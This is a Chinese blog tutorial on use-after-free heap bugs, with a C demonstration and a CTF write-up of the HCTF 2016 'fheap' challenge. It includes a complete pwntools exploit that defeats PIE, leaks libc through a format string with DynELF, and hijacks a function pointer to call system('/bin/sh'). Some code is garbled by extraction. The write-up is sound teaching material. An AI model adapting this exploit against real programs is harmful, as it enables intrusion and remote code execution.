热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】逆向安全系列:UseAfterFree漏洞浅析

作者:ray_cp预估稿费:300RMB(不服你也来投稿啊!)投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿一、前言想着接下来要写一个use after free的小总结,刚好碰

http://p9.qhimg.com/t01a9d20f7798853247.jpg

作者:ray_cp

预估稿费:300RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

一、前言

想着接下来要写一个use after free的小总结,刚好碰巧最近的湖湘杯2016的一题—-game利用use after free可以解出来。这题是自己第一次在比较正式的比赛中做出pwn题,做这题的时间花了不少,效率不高,但自己还是蛮开心的,后面回头做hctf2016的fheap这题,也可以用uaf解出来,game这题题目的复杂度稍微高一点,描述起来有点难,下面主要是用hctf的这道题来给大家讲述原理。对于uaf漏洞,搜了下,uaf漏洞在浏览器中存在很多,有兴趣的同学可以自己去查查。


二、uaf原理

uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态,同样被释放的内存如果被恶意构造数据,就有可能会被利用。先上一段代码给大家一个直观印象再具体解释。

#include 
#include 
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(int*)malloc(4*sizeof(int));
printf("malloc addr: %pn",p1);
p1[3]=echo;
p1[3]("hello worldn");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello againn"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %pn",p2);
printf("malloc addr: %pn",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("whoami");
return 0;
}

这段代码在32位系统下执行。通过这段代码可以大概将uaf的利用过程小结为以下过程:

1、申请一段空间,并将其释放,释放后并不将指针置为空,因此这个指针仍然可以使用,把这个指针简称为p1。

2、申请空间p2,由于malloc分配的过程使得p2指向的空间为刚刚释放的p1指针的空间,构造恶意的数据将这段内存空间布局好,即覆盖了p1中的数据。

3、利用p1,一般多有一个函数指针,由于之前已使用p2将p1中的数据给覆盖了,所以此时的数据既是我们可控制的,即可能存在劫持函数流的情况。


三、hctf2016–fheap

 uaf原理还比较简单,下面就是具体的实践了,这个漏洞复杂一些的话就和double free这些其他的堆的常见利用方法合起来一起出题,具体的可以看bctf2015的freenote。不过fheap这题用uaf直接就解决了。还有就是湖湘杯2016的game题,和fheap基本上是一样的,这题大家跟出来了的话可以去做下game试下。先介绍fheap的功能。

A、程序功能

http://p9.qhimg.com/t01b46cefd558d1d0a1.png

程序提供的功能比较简单,总共两个功能:

1、create string

http://p9.qhimg.com/t013b79188c80312bfa.png

输入create 后,接着输入size,后输入具体的字符串。相关的数据结构则是:先申请0x20字节的堆块存储结构,如果输入的字符串长度大于0xf,则另外申请对应长度的空间存储字符串,否则直接存储在之前申请的0x20字节的前16字节处,在最后,会将相关free函数的地址存储在堆存储结构的后八字节处。相关示意图描绘如下:

http://p3.qhimg.com/t01dbdb1f306636ae77.png

2、delete string

调用存储在结构体里的free_func这个指针来释放堆,由于在释放以后没有将指针置空,出现了释放后仍可利用的现象,即uaf。

http://p0.qhimg.com/t0168f6dab5144f806a.png

B、查看防护机制

首先查看开启的安全机制

http://p6.qhimg.com/t01fa86e3dbdfaeca09.png

可以看到开启了PIE,在解题的过程中还需要绕过PIE,PIE是指代码段的地址也会随机化,不过低两位的字节是固定的,利用这一点我们可以来泄露出程序的地址。

C、利用思路

总思路:首先是利用uaf,利用堆块之间申请与释放的步骤,形成对free_func指针的覆盖。从而达到劫持程序流的目的。具体来说,先申请的是三个字符创小于0xf的堆块,并将其释放。此时fastbin中空堆块的单链表结构如下左图,紧接着再申请一个字符串长度为0x20的字符串,此时,申请出来的堆中的数据会如下右图,此时后面申请出来的堆块与之前申请出来的1号堆块为同一内存空间,这时候输入的数据就能覆盖到1号堆块中的free_func指针,指向我们需要执行的函数,随后再调用1号堆块的free_func函数,即实现了劫持函数流的目的。

http://p5.qhimg.com/t01d6fbca8748b9b575.png

1、绕过PIE,在能劫持函数流之后,首先是泄露出程序的地址以绕过PIE,具体的方法是将free_func指针的最低位覆盖成"x2d",变成去执行fputs函数,最后变成去打印出free_func的地址,从而得到程序的基地址等。

http://p0.qhimg.com/t0103397379eb072246.png

2、泄露system函数地址,首先有了程序的地址后,可以得到printf函数的plt地址,从而想办法在栈中部署数据,使用格式化字符串打印出我们需要的地址中的内容,使用DynELF模块去泄露地址,具体可以看安全客之前有人写的一篇文章—借助DynELF实现无libc的漏洞利用小结。从而泄露出system函数的地址。

3、执行system("/bin/sh")

最终调用system函数开启shell。

D、最终exp

exp最终如下,里面还有部分注释。

from pwn import *
from ctypes import *
DEBUG = 1
if DEBUG:
     p = process('./fheap')
else:
     r = remote('172.16.4.93', 13025)
print_plt=0
def create(size,content):
    p.recvuntil("quit")
    p.send("create ")
    p.recvuntil("size:")
    p.send(str(size)+'n')
    p.recvuntil('str:')
    p.send(content.ljust(size,'x00'))
    p.recvuntil('n')[:-1]
def delete(idx):
   p.recvuntil("quit")
   p.send("delete "+'n')
   p.recvuntil('id:')
    p.send(str(idx)+'n')
    p.recvuntil('sure?:')
    p.send('yes '+'n')
def leak(addr):
    delete(0)
    #printf函数格式化字符串打印第九个参数地址中的数据,第九个刚好是输入addr的位置
    data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt)
    create(0x20,data)
    p.recvuntil("quit")
    p.send("delete ")
    p.recvuntil('id:')
    p.send(str(1)+'n')
    p.recvuntil('sure?:')
    p.send('yes01234'+p64(addr))
    p.recvuntil('aa')
    data=p.recvuntil('####')[:-4]
    data += "x00"
    return data
def pwn():
    global print_plt
     create(4,'aa')
     create(4,'bb')
    create(4,'cc')
     delete(2)
    delete(1)
    delete(0)
    #申请三个堆块,随后删除,从而在fastbin链表中形成三个空的堆块
    #part1 覆盖到fputs函数,绕过PIE
    data='a'*0x10+'b'*0x8+'x2D'+'x00'#第一次覆盖,泄露出函数地址。
    create(0x20,data)#在这里连续创建两个堆块,从而使输入的data与前面的块1公用一块内存。
    delete(1)#这里劫持函数程序流
    p.recvuntil('b'*0x8)
    data=p.recvuntil('1.')[:-2]
    if len(data)>8:
        data=data[:8]
    data=u64(data.ljust(8,'x00'))-0xA000000000000 #这里减掉的数可能不需要,自行调整
     proc_base=data-0xd2d
    print "proc base",hex(proc_base)
    print_plt=proc_base+0x9d0
    print "print plt",hex(print_plt)
    delete(0)
    data='a'*0x10+'b'*0x8+'x2D'+'x00'
    create(0x20,data)
    delete(1)
    p.recvuntil('b'*0x8)
    data=p.recvuntil('1.')[:-2]
    #part2 使用DynELF泄露system函数地址
     d = DynELF(leak, proc_base, elf=ELF('./fheap'))
    system_addr = d.lookup('system', 'libc')
    print "system_addr:", hex(system_addr)
    
    #parts 执行system函数,开启shell
    delete(0)
    data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr)
    create(0x20,data)
    delete(1)
    p.interactive()

    ####
    #利用的方式总结为
    #delete(0),将申请出来的堆块添入到fastbin中
    #create(0x20,data),连续申请两个堆块,数据覆盖1堆中的free_func指针
     #delete(1)劫持函数流,调用我们覆盖的指针处的地址
    ###

    if __name__ == '__main__':
            pwn()

执行结果

http://p4.qhimg.com/t012f26d251a245783d.png


四、小结

我感觉UAF最主要的是,在释放了堆块以后没有将指针置空,后续过程中内存空间数据被覆盖为其他数据后,该指针仍然可以正常使用该内存,从而导致数据的误用。ctf题中容易碰见的是,释放的堆块中原本某个区域是用来存储函数指针的,后面被恶意构造的数据覆盖成其他地址实现了劫持函数流的目的,从而有可能就被pwn掉了。

道理就是这个道理,后面给大家推荐两个题目,一个是pwnable里面的uaf,一个是湖湘杯的game(好像这题也是今年xnuca的原题),大家可以看下。pwnable里面的uaf是覆盖虚函数,我觉得有个大佬的文章写得也蛮好,在后面链接中贴出来。


五、参考文章

HCTF 2016网络攻防大赛官方Writeup 

FlappyPig HCTF2016 Writeup

pwnable.kr之uaf

借助DynELF实现无libc的漏洞利用小结

六、相关文档

CVE-2014-1772 – IE浏览器 Use After Free 漏洞详细分析


推荐阅读
  • 如何自行分析定位SAP BSP错误
    The“BSPtag”Imentionedintheblogtitlemeansforexamplethetagchtmlb:configCelleratorbelowwhichi ... [详细]
  • SpringBoot uri统一权限管理的实现方法及步骤详解
    本文详细介绍了SpringBoot中实现uri统一权限管理的方法,包括表结构定义、自动统计URI并自动删除脏数据、程序启动加载等步骤。通过该方法可以提高系统的安全性,实现对系统任意接口的权限拦截验证。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 本文介绍了如何在给定的有序字符序列中插入新字符,并保持序列的有序性。通过示例代码演示了插入过程,以及插入后的字符序列。 ... [详细]
  • 本文介绍了一种划分和计数油田地块的方法。根据给定的条件,通过遍历和DFS算法,将符合条件的地块标记为不符合条件的地块,并进行计数。同时,还介绍了如何判断点是否在给定范围内的方法。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • 动态规划算法的基本步骤及最长递增子序列问题详解
    本文详细介绍了动态规划算法的基本步骤,包括划分阶段、选择状态、决策和状态转移方程,并以最长递增子序列问题为例进行了详细解析。动态规划算法的有效性依赖于问题本身所具有的最优子结构性质和子问题重叠性质。通过将子问题的解保存在一个表中,在以后尽可能多地利用这些子问题的解,从而提高算法的效率。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • [大整数乘法] java代码实现
    本文介绍了使用java代码实现大整数乘法的过程,同时也涉及到大整数加法和大整数减法的计算方法。通过分治算法来提高计算效率,并对算法的时间复杂度进行了研究。详细代码实现请参考文章链接。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 本文介绍了C函数ispunct()的用法及示例代码。ispunct()函数用于检查传递的字符是否是标点符号,如果是标点符号则返回非零值,否则返回零。示例代码演示了如何使用ispunct()函数来判断字符是否为标点符号。 ... [详细]
  • 本文介绍了UVALive6575题目Odd and Even Zeroes的解法,使用了数位dp和找规律的方法。阶乘的定义和性质被介绍,并给出了一些例子。其中,部分阶乘的尾零个数为奇数,部分为偶数。 ... [详细]
author-avatar
零落曦_622
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有